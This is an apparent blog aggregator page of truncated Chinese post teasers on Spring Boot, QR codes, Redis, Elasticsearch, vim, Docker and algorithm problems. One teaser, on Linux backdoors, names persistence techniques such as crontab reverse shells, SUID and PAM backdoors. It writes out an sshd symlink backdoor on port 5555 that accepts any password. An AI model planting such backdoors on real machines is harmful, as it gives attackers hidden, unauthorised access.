SpringBoot @Autowired中注入静态方法或者静态变量

https://www.cnblogs.com/huanghongbo/p/10890025.html 注:用static去定义一个注入的方法或者配置文件值变量,编译时不会有任何异常,运行时会报空指针。 Spring官方不推荐此种方法。 原理: https://www.cnblogs.com/chenfeng1122/p/6270217.html 解决办法 利用spring的set注入方法,通过非静态的setter方法注入静态变量 ,我们可以改成这样就静态变量可以获取到你配置的信息了。 把ge
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

java实现二维码的生成与解析

二维码的生成及解析的低层实现并不简单,我们只需要知道怎么使用就可以了,参考博客:https://blog.csdn.net/jam_fanatic/article/details/82818857 1.maven中jar包引用com.google.zxing; 2.创建QRCodeUtil二维码工具类,使用谷歌提供的帮助类BufferedImageLuminanceSource绘制二维码。   生成二维码:QRCodeUtil.encode(编码到二维码中的内容, 嵌入二维码的图片路径, 生成
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

Codeforces Round #610 (Div. 2) 题解

Temporarily unavailable K for the Price of One (Hard Version) Petya and Exam Temporarily unavailable \[ Time Limit: 1 s\quad Memory Limit: 256 MB \] 直接计算出 \([c-r, c+r]\) 在 \([a, b]\) 中的范围有多大,然后减掉就可以了。 view #include <map> #include <set> #include <lis
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

3.redis单节点及主备模式

1.单节点模式 单节点模式的配置,使用redis通用配置即可。 (1)启动命令: 1 /path/to/redis-server /path/to/redis-6379.conf 注:配置文件名称只是示例,一般一台机器不止启动一个redis实例,使用端口区分配置文件是比较好的方式 (2)关闭命令: 1 /path/to/redis-cli -h <host> -p <port> -a '<password>' shutdown save 注:建议不要直接kill进程,会造成数据丢失 2.red
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

ELK---- Elasticsearch 写入数据,查询

之前已安装了Elasticsearch与kibana。 倒排索引 正向索引 正排表是以文档的ID为关键字,表中记录文档中每个字的位置信息,查找时扫描表中每个文档中字的信息直到找出所有包含查询关键字的文档。 这种组织方法在建立索引的时候结构比较简单,建立比较方便且易于维护;因为索引是基于文档建立的,若是有新的文档加入,直接为该文档建立一个新的索引块,挂接在原来索引文件的后面。若是有文档删除,则直接找到该文档号文档对应的索引信息,将其直接删除。但是在查询的时候需对所有的文档进行扫描以确保没有遗漏,
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

drf框架序列化

目录 drf框架序列化 |反序列化: 序列化与反序列化: drf序列化与反序列化: 序列化: models.py Serializers.py Serializer 反序列化: views.py: ModelSerializers 指定表模型: 自定义反序列化方法: drf框架序列化 |反序列化: 序列化与反序列化: 序列化:对象转换为字符串用于传输 反序列化:字符串转换为对象用于使用 序列化是为了保持对象在内存中的状态,并且可以把保存的对象状态再读出来 a、数据持久化:比如一个电
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

linux后门

目录 ssh软连接 添加用户 修改/etc/sudoers文件 suid后门 crontab反弹shell后门 ssh免密登录 ssh wrapper后门 inetd strace后门 协议后门 icmp PAM后门 ssh软连接 #只有root用户才可以这种方法 #拿到root权限后执行 ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555; #任意密码连接5555端口 ssh [email protected]:5555 ssh roo
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

20191225新姿势

Kalman Filter 通俗讲解 Kalman Filter : 理解卡尔曼滤波的三重境界
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

C - Long Beautiful Integer codeforces 1269C

题解: 这里的m一定是等于n的,n为数最大为n个9,这n个9一定满足条件,根据题目意思,前k个一定是和原序列前k个相等,因此如果说我们构造出来的大于等于原序列,直接输出就可以了,否则,由于后m-k个一定是重复前k个,我们只能在前k个改动,所以只需要让前k个加1就行了,然后在根据题意构造一遍。 #include<bits/stdc++.h> using namespace std; const int N=2E5+7; char s[N],s1[N]; void solve() { in
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

springboot整合freemark,thymeleaf

先在pom文件引入freemark,thymeleaf的依赖,thymeleaf的html文件放在Resource-templates-thymeleaf目录下,freekmarker的ftl文件放在Resource-templates-thymeleaf目录下,再properties文件设置各自的相关配置,如下: (freemark文件为ftl文件,thymeleaf为html文件)
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

flask模板 flask-bootstrap

1、模板 a、block块中继承前面block块的内容,需要添加{{super()}} b、macro 宏:   作用:在模板中定义函数(定义函数->注意添加()->可以使用from 模板名称 import 函数名) 实际应用:单独创建一个html,用于定义macro 创建模板语言的函数,再使用{% from import %} 导入,使用 {{函数名()}} 2、flask-bootstrap 后端 from flask_bootstrap import Bootstrap Bootstra
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

在仅拿到头文件的情况下,如何修改类中的私有成员值?

1 通过使用从对象开始处的硬编码/手工编码的偏移量构造指针来访问私有成员数据 class Weak { public: Weak() = default; ~Weak() = default; // 想想如果去掉该函数,外部想修改类中的私有成员变量 m_name 时该如何操作? void name(const std::string &name) { m_name = name; } std::string name()
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

alsa-utils 的使用

ref : https://blog.csdn.net/outstanding_yzq/article/details/8126350 一.alsa-utils介绍 ALSA是kernel中的一个声音驱动程序.它包括alsa核心和其他声卡的驱动. alsa-utils是alsa的一个工具包,里面包含有声卡测试和音频编辑的工具. 二.alsa-utils的安装 1.RPM包方式 Turbolinux 10.5,11版本已经包含有alsa-utils的rpm包,你可以直接安装: # rpm -iv
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

linux学习23 Linux运维必备技能-vim编辑器高效用法进阶

一、vim末行模式   1、地址定界     a、:start_pos[,end_pos]       #特定的第#行,例如5即第5行       .:当前行       $:最后一行;       #,#:指定行范围,左侧为起始行,右侧为结束行;       #,+#:指定行范围,左侧为起始行绝对编号,右侧为相对左侧行号的偏移量;         例如:3,+7:表示从第三行开始,然后增加七行。            .,$-1:表示从当前行到倒数第二行            1,$:表示全
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

rm -rf /var/lib/docker 设备或资源忙问题处理

在调试安装openshift时涉及安装docker和添加对应docker永久存储路径,在配置过程中因之前构建一键安装部署openshft集群出问题,导致重新设置过程中出现如下错误: [root@test-master ~]# rm -rf /var/lib/docker rm: 无法删除"/var/lib/docker/containers": 设备或资源忙 rm: 无法删除"/var/lib/docker/overlay2": 设备或资源忙 用ls -l命令查看容器目录,如下: [root@
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

properties、yml配置文件映射对象

1、properties文件内容映射到类对象(属性),如Resource目录下的1.properties文件已配置前缀为com.imooc.people相关的信息,然后: pom添加依赖:springboot-configuration-processor People类对象上方添加注解: @Configuration @PropertySource(value="classpath:1.properties") //指定从哪个properties读取内容 @Configuratio
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

纯js实现颜色16进制到rgb格式

// 利用parseInt 和 slice toString将16进制颜色转成rgb格式 // 思路:将16进制的颜色从下标1开始,利用slice方法,每隔两位取出 var div1 = document.querySelector("div"); var color = "#ab0000"; var str="rgb(" var r = parseInt(color.slice(1,3),16).toString(); //ff slice不包括end var g = parseInt(co
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

C++面向对象编程

封装:1.抽象出数据成员、成员函数 2.访问控制,类本身1)private 外界不可见,不能直接访问2)外界不可见,不能直接访问;子类可以访问protected3)public外界可以直接访问 继承: 继承访问控制: 1.不能直接拿父亲的私房钱:派生类不能访问基类的私有成员 2. 可以问父亲要钱:通过protected/public的成员函数 3. 儿子总是比外人亲:派生类可以访问父类的protected成员,其他代码不可以 1 #include <iostream> 2 #include
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

笔记-ubuntu19共享文件夹

这篇文章记录ubuntu和windows共享文件夹的步骤,环境是ubuntu19,两种方法,一种是图形化界面,一种是命令行。 图形化界面 打开文件软件,找到需要分享的文件夹,点击右键-属性-本地网络共享 勾选共享此目录,然后会提示需要安装samba,点击安装 安装成功后,就可以在第一步中配置共享目录的名称,注释和是否需要账号登陆,是否允许修改;完成配置后保存 在windows中使用运行输入\\ip地址 就可以看到共享的文件夹了 或者在资源管理器中新建网络位置,根据提示输入ip地址 命令行 安装
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0

PHP-最大子序和

给定一个整数数组 nums ,找到一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和。 示例: 输入: [-2,1,-3,4,-1,2,1,-5,4], 输出: 6 解释: 连续子数组 [4,-1,2,1] 的和最大,为 6。 进阶: 如果你已经实现复杂度为 O(n) 的解法,尝试使用更为精妙的分治法求解。 来源:力扣(LeetCode) class Solution { /** * @param Integer[] $nums * @return Integer */ fun
分类: 其他 发布时间: 12-25 23:01 阅读次数: 0